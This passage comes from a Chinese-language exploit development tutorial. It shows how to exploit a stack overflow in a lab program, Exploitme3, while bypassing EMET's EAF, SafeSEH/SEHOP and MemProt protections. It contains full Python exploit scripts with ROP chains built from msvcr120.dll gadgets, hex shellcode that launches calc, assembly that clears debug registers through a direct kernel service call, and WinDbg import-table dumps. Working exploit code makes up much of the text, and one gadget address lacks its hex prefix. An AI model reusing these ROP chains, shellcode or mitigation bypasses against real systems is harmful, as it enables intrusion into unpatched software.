            "\x89\x41\x18" +                    # mov   dword ptr [ecx+18h],eax
            "\xC3"                              # ret
        #skip:
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)
 
write_file(r'd:\name.dat')



如果我们运行Exploitme3,会发现还是崩溃.我们又哪里弄错了呢?


我们在WinDbg中调试一下这个程序.我们在WinDbg中打开Exploitme3.exe,然后按F5(运行).我们又碰到了熟悉的单步异常,我们执行sxd sse命令,再次按F5运行起来.和预想的一样,我们得到了一个整数除零异常:





这是一个first chance(第一次机会)异常,所以如果我们再次按F5(运行),这个异常将被传递给该程序.在开始之前,我们检查一下异常处理链:





好像看起来都是正确的!


当我们按F5(运行)的时候,我们会看到如下信息:





为什么这个程序没有处理这个异常呢?罪魁祸首是SafeSEH!


我忘了,仅仅异常处理程序不在SafeSEH模块中是不够的:它也不能在栈中!




清除调试寄存器(3)


SAFESEH可以被绕过,但是有可能会用到一些硬编码的地址,这就违背了我们的初衷.




我想补充一点,就是,如果我们没有利用moreStack数组在栈中预留大量的空间的话(看最开始的C/C++源代码),那么我们的shellcode就已经将异常处理链覆盖了,SEHOP也会将我们的exploit阻止掉.SEHOP会检查异常处理链是否以ntdll!_except_handler4结束.如果我们不知道该异常处理程序地址的话,我们就不能恢复该异常处理链.所以,这条路是行不通的.




另一种清除调试寄存器的方法是使用kernel32!SetThreadContext.我们并不知道该函数的地址,但是我们还是要试一试,但是依然无果.我们知道在用户模式下SetThreadContext并不能清除调试寄存器,要清除调试寄存器的话,它必须在某些点上调用相应ring 0(内核态)的服务.




调用Ring 0(内核态)的服务通常是通过中断或者类似于SYSENTER(Intel)和SYSCALL(AMD)这样的CPU指令来完成的.幸运的是,这些服务在操作系统中通常以比较小的常量标识.重启,升级,以及新的服务包都不会改变这些服务标识的.




下面我们用C/C++写一个小程序:


#include <windows.h>
#include <stdio.h>
 
int main() {
         CONTEXT context;
         context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
         context.Dr0 = 0;
         context.Dr1 = 0;
         context.Dr2 = 0;
         context.Dr3 = 0;
         context.Dr6 = 0;
         context.Dr7 = 0;
 
         if (!SetThreadContext(GetCurrentThread(), &context))
                   printf("Error!\n");
         else
                   printf("OK!\n");
 
         return 0;
}





现在我们用WinDbg调试这个程序.在kernel32!SetThreadContext上设置一个断点,接着按F5(运行).SetThreadContext非常简短:





注意传递第一个call的两个参数.很明显,我们要单步跟进到这个call里面:





看起来非常有意思!这个call是什么呢?上面和下面我们都能看到类似的函数(EAX的值不同).EAX应该是服务号.ret指令后面跟的立即数当然是要依赖参数个数的啦.


注意,edx将指向栈中的两个参数:





我们跟进这个call:





一个远跳转:非常有趣吧!我们在这条指令上单步一下就到了这个call指令的后面:





为什么会这样呢?这个远跳转的目的是什么?可能这个远跳转是用于过渡到64位代码的吧?我们在64位版本的WinDbg中重来一遍以上这整个过程,这个远跳转会把你带到这里:





看来我们的推测是正确的!如果我们一直单步跟踪,我们会跟到下面的call处:





注意,ecx为150,我们的服务号.我们没必要跟的那么深.无论如何,最终我们会到达如下的代码处:





所以,要调用ring 0(内核态)服务需要两步过渡:


1.        
从32位ring3(用户态)代码过渡到64位ring3(用户态)代码


2.        
从64位ring3(用户态)代码过渡到64位ring0(内核态)代码


但是我们并不需要处理上面这些所有的细节.我们只需要做:


1.      
设置EAX = 0x150


2.      
清除ECX


3.      
让EDX指向我们的参数


4.      
调用由fs:[0xc0]指向的代码


正如我们所看到的,这段代码并不受ASLR的影响.


现在我们终于可以编写清除调试寄存器的代码了:


mov     eax, 150h
xor     ecx, ecx
sub     esp, 2cch                       ; 为CONTEXT腾出空间
mov     dword ptr [esp], 10010h         ; CONTEXT_DEBUG_REGISTERS
mov     dword ptr [esp + 4], ecx        ; context.Dr0 = 0
mov     dword ptr [esp + 8], ecx        ; context.Dr1 = 0
mov     dword ptr [esp + 0ch], ecx      ; context.Dr2 = 0
mov     dword ptr [esp + 10h], ecx      ; context.Dr3 = 0
mov     dword ptr [esp + 14h], ecx      ; context.Dr6 = 0
mov     dword ptr [esp + 18h], ecx      ; context.Dr7 = 0
push    esp
push    0fffffffeh                      ; 当前线程
mov     edx, esp
call    dword ptr fs : [0C0h]           ; 这会将ESP减去4
add     esp, 4 + 2cch + 8



在代码的最后,我们恢复了ESP,但这并不是必须的.


完整的Python脚本如下:


import struct
 
# VirtualProtect的函数原型如下:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# PUSHAD执行以后, 栈变成了这样:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))          <---------------------------- 当前 ESP
#   ESI (ptr to JMP [EAX] (EAX = 指向VirtualProtect指针的地址))
#   EBP (ptr to POP (跳过栈中的EAX))
#   ESP (lpAddress (自动))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (可写地址的指针))
#   EAX (指向VirtualProtect指针的地址)
# lpAddress:
#   指向"call esp"的指针
#   <shellcode>
 
msvcr120 = 0x6F3F0000
 
# 增量用于修正基于msvcr120.dll新的基地址的地址
md = msvcr120 - 0x6F3F0000
 
def create_rop_chain(code_size):
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      md + 0x6f4991cd,  # POP EBP # RETN [MSVCR120.dll] 
      md + 0x6f4991cd,  # skip 4 bytes [MSVCR120.dll]
      md + 0x6f401639,  # POP EBX # RETN [MSVCR120.dll] 
      code_size,  # code_size-> ebx
      md + 0x6f43640b,  # POP EDX # RETN [MSVCR120.dll] 
      0x00000040,  # 0x00000040-> edx
      md + 0x6f495147,  # POP ECX # RETN [MSVCR120.dll] 
      md + 0x6f4d5ef4,  # &Writable location [MSVCR120.dll]
      md + 0x6f424694,  # POP EDI # RETN [MSVCR120.dll] 
      md + 0x6f3ff607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x6f45c627,  # POP ESI # RETN [MSVCR120.dll] 
      md + 0x6f403a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x6f42e0f8,  # POP EAX # RETN [MSVCR120.dll] 
      md + 0x6f4d51a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x6f3f46a0,  # PUSHAD # RETN [MSVCR120.dll] 
      md + 0x6f427e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
     
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x6f3ff607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
            "\x33\xC9" +                        # xor    ecx,ecx
            "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
            "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
            "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
            "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
            "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
            "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
            "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
            "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
            "\x54" +                            # push   esp
            "\x6A\xFE" +                        # push   0FFFFFFFEh
            "\x8B\xD4" +                        # mov    edx,esp
            "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
            "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)
 
write_file(r'd:\name.dat')



如果我们运行Exploitme3.exe,会弹出计算器!我们成功绕过了EAF!我们也可以启用EAF+.效果是一样.





内存保护(MemProt)


在我们的exploit中,我们利用VirtualProtect将包含我们shellcode的那部分堆栈标记为了可执行.MemProt应该可以对这种技术进行完美防御.我们为Exploitme3.exe启用MemProt.和我们预想的一样,我们一运行Exploitme3.exe,MemProt就将我们的exploit阻止掉了,Exploitme3也崩溃了.




让我们来看看在WinDbg中发生了什么.用WinDbg打开Exploitme3.exe,给Exploitme3!f设置一个断点.接着单步跟踪完f函数,在执行了ret指令之后,我们应该就到了我们的ROP代码处.


继续单步跟踪一直到跳转到VirtualProtect中为止.


这里,我们看到有些奇怪的东西:





这个函数开始处是一个跳转!我们来看看它会将我们带到哪里:





OK,是EMET.那个跳转是EMET为了拦截VirtualProtect的调用特意设置的一个钩子.


我们来看一下如果这里没有钩子,VirtualProtectStub会不会直接调用kernel32!VirtualProtect.我们来看一看:








可以看到这里只是一个与EMET无关的重定向:





注意EMET的钩子.虽然VirtualProtect只是对当前进程进行操作,但是VirtualProtectEx可以让你对指定进程进行操作.正如我们所看到的,VirtualProtect也是调用的VirtualProtectEx,只是将标识进程的第一个参数传入了-1而已,这个-1是GetCurrentProcess的返回值.其他参数和传给VirtualProtect的一样.


现在,我们来检查一下VirtualProtectEx:





我们可以看到,EMET又设置了一个钩子.VirtualProtectEx调用的是NtProtectVirtualMemory:





这里看起来非常类似:ZwProtectVirtualMemory调用了一个ring 0(内核态)的服务!注意,这里的服务号已经被EMET的钩子覆盖了,但是很容易猜到这个服务号是0x4d,因为下一个函数的服务号是0x4E.




如果你再仔细观察一下VirtualProtectEx的话,你会发现在ZwProtectVirtualMemory中由EDX指向参数的格式与传递给VirtualProtectEx的并不相同.为了看得更清楚,我们禁用掉MemProt,在WinDbg中重启(Ctrl+Shift+F5)Exploitme3.exe,接着设置如下断点:





这将在我们的ROP链调用VirtualProtectEx的时候断下来.我们按F5(运行),随即我们就到了这里:





这次,和预想的一样,没有钩子.以下是我们在栈中的5个参数:





我们来看一看栈中放的东西:





我们单步步入这个call:





EDX将按照这个顺序指向如下的5个参数:

0xffffffff (当前进程)
首地址的指针
尺寸的指针
PAGE_EXECUTE_READWRITE
lpflOldProtect (可写的位置)



具体的例子如下:





这里再浪费我们的时间来构建一个ROP链,可以能也是无法正常工作的,我们首先应该确认还有没有其他被做了手脚的地方.




那么我们如何绕过MemProt呢?一个简单的方法就是,在启用MemProt的情况下调试Exploitme3.exe,接着使用原始代码覆盖掉EMET的钩子.如果exploit成功了的话,那么就说明绕过了MemProt.这留给大家作为一个练习吧(试一试).




构建ROP链




尽管我们要和之前清除调试寄存器一样调用内核服务,但是这次要难的多,因为我们需要通过ROP的小部件(gadgets)来实现调用内核服务.




主要的问题在于,msvcr120.dll不包含任何call dword ptr fs:[0c0h]或者类似于call fs:[eax],call fs:eax这样的变形指令.但是我们知道,在ntdll中有很多这样的call,所以也许我们可以从它们其中找到一种方式来获取该地址也说不定?




我们来看看msvcr120.dll的IAT(导入地址表):


0:000> !dh msvcr120
 
File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
524F7CE6 time date stamp Sat Oct 05 10:43:50 2013
 
       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2122 characteristics
            Executable
            App can handle >2gb addresses
            32 bit word machine
            DLL
 
OPTIONAL HEADER VALUES
     10B magic #
   12.00 linker version
   DC200 size of code
    DC00 size of initialized data
       0 size of uninitialized data
   11A44 address of entry point
    1000 base of code
         ----- new -----
6b710000 image base
    1000 section alignment
     200 file alignment
       2 subsystem (Windows GUI)
    6.00 operating system version
   10.00 image version
    6.00 subsystem version
   EE000 size of image
     400 size of headers
   FB320 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
    1860 [    CED0] address [size] of Export Directory
   E52BC [      28] address [size] of Import Directory
   E7000 [     3E8] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
   E9200 [    3EA0] address [size] of Security Directory
   E8000 [    5D64] address [size] of Base Relocation Directory
   DD140 [      38] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
   19E48 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
   E5000 [     2BC] address [size] of Import Address Table Directory   <-----------------
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory
 
 
SECTION HEADER #1
   .text name
   DC1F1 virtual size
    1000 virtual address
   DC200 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read
 
 
Debug Directories(2)
    Type       Size     Address  Pointer
    cv           2a       dd17c    dc57c    Format: RSDS, guid, 2, msvcr120.i386.pdb
    (    10)       4       dd178    dc578
 
SECTION HEADER #2
   .data name
    6534 virtual size
   DE000 virtual address
    5600 size of raw data
   DC600 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write
 
SECTION HEADER #3
  .idata name
    12EC virtual size
   E5000 virtual address
    1400 size of raw data
   E1C00 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write
 
SECTION HEADER #4
   .rsrc name
     3E8 virtual size
   E7000 virtual address
     400 size of raw data
   E3000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only
 
SECTION HEADER #5
  .reloc name
    5D64 virtual size
   E8000 virtual address
    5E00 size of raw data
   E3400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only
 
[...]
 
0:000> dds msvcr120+E5000 L 2bc/4
6b7f5000  779fa1e7 ntdll!RtlEncodePointer
6b7f5004  779f96e5 ntdll!RtlDecodePointer
6b7f5008  774a585e kernel32!RaiseExceptionStub
6b7f500c  774a11c0 kernel32!GetLastErrorStub
6b7f5010  774a79c8 kernel32!FSPErrorMessages::CMessageMapper::StaticCleanup+0xc
6b7f5014  774a3460 kernel32!GetModuleHandleWStub
6b7f5018  774a4a27 kernel32!GetModuleHandleExWStub
6b7f501c  774a1222 kernel32!GetProcAddressStub
6b7f5020  77524781 kernel32!AreFileApisANSIStub
6b7f5024  774a190a kernel32!MultiByteToWideCharStub
6b7f5028  774a16e9 kernel32!WideCharToMultiByteStub
6b7f502c  774a5159 kernel32!GetCommandLineAStub
6b7f5030  774a51db kernel32!GetCommandLineWStub
6b7f5034  774a1430 kernel32!GetCurrentThreadIdStub
6b7f5038  779e2300 ntdll!RtlEnterCriticalSection
6b7f503c  779e22c0 ntdll!RtlLeaveCriticalSection
6b7f5040  779f3ced ntdll!RtlDeleteCriticalSection
6b7f5044  774a1491 kernel32!GetModuleFileNameAStub
6b7f5048  774a11a9 kernel32!SetLastError
6b7f504c  774a17c8 kernel32!GetCurrentThreadStub
6b7f5050  774a4908 kernel32!GetModuleFileNameWStub
6b7f5054  774a51ed kernel32!IsProcessorFeaturePresent
6b7f5058  774a516b kernel32!GetStdHandleStub
6b7f505c  774a1282 kernel32!WriteFileImplementation
6b7f5060  774a43fa kernel32!FindCloseStub
6b7f5064  7752492f kernel32!FindFirstFileExAStub
6b7f5068  774cd52e kernel32!FindNextFileAStub
6b7f506c  774b17c9 kernel32!FindFirstFileExWStub
6b7f5070  774a54a6 kernel32!FindNextFileWStub
6b7f5074  774a13f0 kernel32!CloseHandleImplementation
6b7f5078  774a3485 kernel32!CreateThreadStub
6b7f507c  77a16954 ntdll!RtlExitUserThread
6b7f5080  774a43a7 kernel32!ResumeThreadStub
6b7f5084  774a4915 kernel32!LoadLibraryExWStub
6b7f5088  774c0622 kernel32!SystemTimeToTzSpecificLocalTimeStub
6b7f508c  774a53e4 kernel32!FileTimeToSystemTimeStub
6b7f5090  775249ef kernel32!GetDiskFreeSpaceAStub
6b7f5094  774a5329 kernel32!GetLogicalDrivesStub
6b7f5098  774a1adc kernel32!SetErrorModeStub
6b7f509c  775157c0 kernel32!BeepImplementation
6b7f50a0  774a10ff kernel32!SleepStub
6b7f50a4  774ae279 kernel32!GetFullPathNameAStub
6b7f50a8  774a11f8 kernel32!GetCurrentProcessIdStub
6b7f50ac  774a452c kernel32!GetFileAttributesExWStub
6b7f50b0  774bd4c7 kernel32!SetFileAttributesWStub
6b7f50b4  774a408c kernel32!GetFullPathNameWStub
6b7f50b8  774a4211 kernel32!CreateDirectoryWStub
6b7f50bc  774b9b05 kernel32!MoveFileExW
6b7f50c0  77524b7f kernel32!RemoveDirectoryWStub
6b7f50c4  774a4143 kernel32!GetDriveTypeWStub
6b7f50c8  774a896b kernel32!DeleteFileWStub
6b7f50cc  774ae2e9 kernel32!SetEnvironmentVariableAStub
6b7f50d0  774b17ec kernel32!SetCurrentDirectoryAStub
6b7f50d4  774cd4e6 kernel32!GetCurrentDirectoryAStub
6b7f50d8  774b1218 kernel32!SetCurrentDirectoryWStub
6b7f50dc  774a55c9 kernel32!GetCurrentDirectoryWStub
6b7f50e0  774a89a9 kernel32!SetEnvironmentVariableWStub
6b7f50e4  774a1136 kernel32!WaitForSingleObject
6b7f50e8  774b1705 kernel32!GetExitCodeProcessImplementation
6b7f50ec  774a1072 kernel32!CreateProcessA
6b7f50f0  774a3478 kernel32!FreeLibraryStub
6b7f50f4  774a48cb kernel32!LoadLibraryExAStub
6b7f50f8  774a103d kernel32!CreateProcessW
6b7f50fc  774a3e83 kernel32!ReadFileImplementation
6b7f5100  774c273c kernel32!GetTempPathA
6b7f5104  774bd4ac kernel32!GetTempPathW
6b7f5108  774a1862 kernel32!DuplicateHandleImplementation
6b7f510c  774a17e5 kernel32!GetCurrentProcessStub
6b7f5110  774a34b9 kernel32!GetSystemTimeAsFileTimeStub
6b7f5114  774a4612 kernel32!GetTimeZoneInformationStub
6b7f5118  774a5a5e kernel32!GetLocalTimeStub
6b7f511c  774cd4fe kernel32!LocalFileTimeToFileTimeStub
6b7f5120  774bec8b kernel32!SetFileTimeStub
6b7f5124  774a5a36 kernel32!SystemTimeToFileTimeStub
6b7f5128  77524bdf kernel32!SetLocalTimeStub
6b7f512c  779f3e68 ntdll!RtlInterlockedPopEntrySList
6b7f5130  779f27a5 ntdll!RtlInterlockedFlushSList
6b7f5134  779f3e14 ntdll!RtlQueryDepthSList
6b7f5138  779f3e4f ntdll!RtlInterlockedPushEntrySList
6b7f513c  774cb000 kernel32!CreateTimerQueueStub
6b7f5140  774a16a1 kernel32!SetEventStub
6b7f5144  774a1151 kernel32!WaitForSingleObjectExImplementation
6b7f5148  7752ed47 kernel32!UnregisterWait
6b7f514c  774a11e0 kernel32!TlsGetValueStub
6b7f5150  774bf874 kernel32!SignalObjectAndWait
6b7f5154  774a14db kernel32!TlsSetValueStub
6b7f5158  774a326b kernel32!SetThreadPriorityStub
6b7f515c  7752479b kernel32!ChangeTimerQueueTimerStub
6b7f5160  774bf7bb kernel32!CreateTimerQueueTimerStub
6b7f5164  775225f2 kernel32!GetNumaHighestNodeNumber
6b7f5168  774ccaf5 kernel32!RegisterWaitForSingleObject
6b7f516c  77524e11 kernel32!GetLogicalProcessorInformationStub
6b7f5170  774bcd9d kernel32!RtlCaptureStackBackTraceStub
6b7f5174  774a4377 kernel32!GetThreadPriorityStub
6b7f5178  774aa829 kernel32!GetProcessAffinityMask
6b7f517c  774c0570 kernel32!SetThreadAffinityMask
6b7f5180  774a4965 kernel32!TlsAllocStub
6b7f5184  774bf7a3 kernel32!DeleteTimerQueueTimerStub
6b7f5188  774a3537 kernel32!TlsFreeStub
6b7f518c  774befbc kernel32!SwitchToThreadStub
6b7f5190  779f2530 ntdll!RtlTryEnterCriticalSection
6b7f5194  775235ec kernel32!SetProcessAffinityMask
6b7f5198  774a184a kernel32!VirtualFreeStub
6b7f519c  774a1ac1 kernel32!GetVersionExWStub
6b7f51a0  774a1832 kernel32!VirtualAllocStub
6b7f51a4  774a4317 kernel32!VirtualProtectStub
6b7f51a8  779f8e54 ntdll!RtlInitializeSListHead
6b7f51ac  774bd37b kernel32!ReleaseSemaphoreStub
6b7f51b0  774cb901 kernel32!UnregisterWaitExStub
6b7f51b4  774a48e3 kernel32!LoadLibraryW
6b7f51b8  774cd1c4 kernel32!OutputDebugStringWStub
6b7f51bc  774bd552 kernel32!FreeLibraryAndExitThreadStub
6b7f51c0  774a1245 kernel32!GetModuleHandleAStub
6b7f51c4  77525a9b kernel32!GetThreadTimes
6b7f51c8  774a181a kernel32!CreateEventWStub
6b7f51cc  774a1922 kernel32!GetStringTypeWStub
6b7f51d0  774a444b kernel32!IsValidCodePageStub
6b7f51d4  774a1778 kernel32!GetACPStub
6b7f51d8  774cd191 kernel32!GetOEMCPStub
6b7f51dc  774a5141 kernel32!GetCPInfoStub
6b7f51e0  774cd1b3 kernel32!RtlUnwindStub
6b7f51e4  774a14a9 kernel32!HeapFree
6b7f51e8  779ee036 ntdll!RtlAllocateHeap
6b7f51ec  774a14c9 kernel32!GetProcessHeapStub
6b7f51f0  779fe098 ntdll!RtlReAllocateHeap
6b7f51f4  779f4610 ntdll!RtlSizeHeap
6b7f51f8  77524aaf kernel32!HeapQueryInformationStub
6b7f51fc  774bb153 kernel32!HeapValidateStub
6b7f5200  774a46cf kernel32!HeapCompactStub
6b7f5204  77524adf kernel32!HeapWalkStub
6b7f5208  774a4982 kernel32!GetSystemInfoStub
6b7f520c  774a4412 kernel32!VirtualQueryStub
6b7f5210  774a34e1 kernel32!GetFileTypeImplementation
6b7f5214  774a4cf8 kernel32!GetStartupInfoWStub
6b7f5218  774ae256 kernel32!FileTimeToLocalFileTimeStub
6b7f521c  774a5366 kernel32!GetFileInformationByHandleStub
6b7f5220  77524ed1 kernel32!PeekNamedPipeStub
6b7f5224  774a3f0c kernel32!CreateFileWImplementation
6b7f5228  774a1328 kernel32!GetConsoleMode
6b7f522c  775479e2 kernel32!ReadConsoleW
6b7f5230  77548259 kernel32!GetConsoleCP
6b7f5234  774bc7df kernel32!SetFilePointerExStub
6b7f5238  774a4653 kernel32!FlushFileBuffersImplementation
6b7f523c  7752480b kernel32!CreatePipeStub
6b7f5240  77524bff kernel32!SetStdHandleStub
6b7f5244  77547f99 kernel32!GetNumberOfConsoleInputEvents
6b7f5248  77547555 kernel32!PeekConsoleInputA
6b7f524c  7754759b kernel32!ReadConsoleInputA
6b7f5250  774ba755 kernel32!SetConsoleMode
6b7f5254  775475be kernel32!ReadConsoleInputW
6b7f5258  774c7a92 kernel32!WriteConsoleW
6b7f525c  774bce06 kernel32!SetEndOfFileStub
6b7f5260  774cd56c kernel32!LockFileExStub
6b7f5264  774cd584 kernel32!UnlockFileExStub
6b7f5268  774a4a15 kernel32!IsDebuggerPresentStub
6b7f526c  774c76f7 kernel32!UnhandledExceptionFilter
6b7f5270  774a8781 kernel32!SetUnhandledExceptionFilter
6b7f5274  774a18f2 kernel32!InitializeCriticalSectionAndSpinCountStub
6b7f5278  774bd7d2 kernel32!TerminateProcessStub
6b7f527c  774a110c kernel32!GetTickCountStub
6b7f5280  774bca32 kernel32!CreateSemaphoreW
6b7f5284  774a89c1 kernel32!SetConsoleCtrlHandler
6b7f5288  774a1701 kernel32!QueryPerformanceCounterStub
6b7f528c  774a519b kernel32!GetEnvironmentStringsWStub
6b7f5290  774a5183 kernel32!FreeEnvironmentStringsWStub
6b7f5294  774c34a7 kernel32!GetDateFormatW
6b7f5298  774bf451 kernel32!GetTimeFormatW
6b7f529c  774a3b7a kernel32!CompareStringWStub
6b7f52a0  774a1795 kernel32!LCMapStringWStub
6b7f52a4  774a3bf2 kernel32!GetLocaleInfoWStub
6b7f52a8  774bce1e kernel32!IsValidLocaleStub
6b7f52ac  774a3d55 kernel32!GetUserDefaultLCIDStub
6b7f52b0  7752490f kernel32!EnumSystemLocalesWStub
6b7f52b4  774cb297 kernel32!OutputDebugStringAStub
6b7f52b8  00000000


我一个接一个的检查ntdll中的函数,直到我找到一个可行的备选函数:ntdll!RtlExitUserThread.


我们来查看一下它:





现在我们再来检查一下ntdll!ZwQueryInformationThread:





完美!那么现在我们如何确定call dword ptr fs:[0C0h]的地址呢?


我们知道ntdll!RtlExitUserThread的地址,因为它是位于msvcr120的IAT中的一个固定的RVA.在ntdll!RtlExitUserThread+0x17地址处是调用的ntdll!NtQueryInformationThread,这个call的格式如下:


here:
 E8 offset



则目标地址为


here + offset + 5



在ROP链中我们将像下面这样来确定ntdll!NtQueryInformationThread的地址:


EAX = 0x7056507c          ; ntdll!RtlExitUserThread (IAT)的地址的指针
EAX = [EAX]               ; ntdll!RtlExitUserThread的地址
EAX += 0x18               ; call ntdll!NtQueryInformationThread指令中的偏移量的地址
EAX += [EAX] + 4          ; ntdll!NtQueryInformationThread的地址
EAX += 0xb                ; "call dword ptr fs:[0C0h] # add esp,4 # ret 14h" 指令序列的地址



下面我们就准备开始构建ROP链了!和之前一样,我们将用到mona:





完整的Python脚本如下:


import struct
 
msvcr120 = 0x6b710000
 
# 增量用于修正基于msvcr120.dll新的基地址的地址.
md = msvcr120 - 0x6b710000
 
 
def create_rop_chain(code_size):
    rop_gadgets = [
        # ecx = esp
        md + 0x6b791594,     # POP ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0xffffffff,
        md + 0x6b7c2761,     # AND ECX,ESP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
 
        # ecx = args+8 (&endAddress)
        md + 0x6b7d0135,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        75*4,
        md + 0x6b7db28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
 
        # address = ptr to address
        md + 0x6b7707f0,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b7146b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b77986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 6b7a000d,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04
 
        # ecx = args+4 (ptr to &address)
        md + 0x6b7d0135,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0xfffffff0,
        md + 0x6b7db28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
 
        # &address = ptr to address
        md + 0x6b77986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
